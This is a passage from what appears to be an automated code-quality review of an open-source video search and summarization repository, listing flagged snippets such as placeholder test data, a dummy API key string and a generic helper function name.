HIGH	services/sdrc/lib/bus_outcomes.py	29	# Event handled successfully (stream added/removed/configured as requested).	COMMENT

Fake / Example Data3 hits · 3 pts

Severity	File	Line	Snippet	Context
LOW⚡	…ls/tests/visualization/video_utils/test_video2frame.py	183	path.write_bytes(b"placeholder") # so file_exists + file_size > 0	CODE
LOW⚡	…lm/tests/model/openai_compat/test_migrated_features.py	69	"OPENAI_API_KEY": "fake-key-for-tests",	CODE
LOW⚡	services/alert/test/unit/tracing/test_tracing_module.py	643	assert "John Doe" not in haystack	CODE

Overly Generic Function Names1 hit · 1 pts

Severity	File	Line	Snippet	Context
LOW	…vss_agents/tests/unit_test/tools/test_code_executor.py	94	"utils.py": "def helper(): pass",	CODE

NVIDIA-AI-Blueprints/video-search-and-summarization

Open-Source Code Quality, Security and Technical Debt Review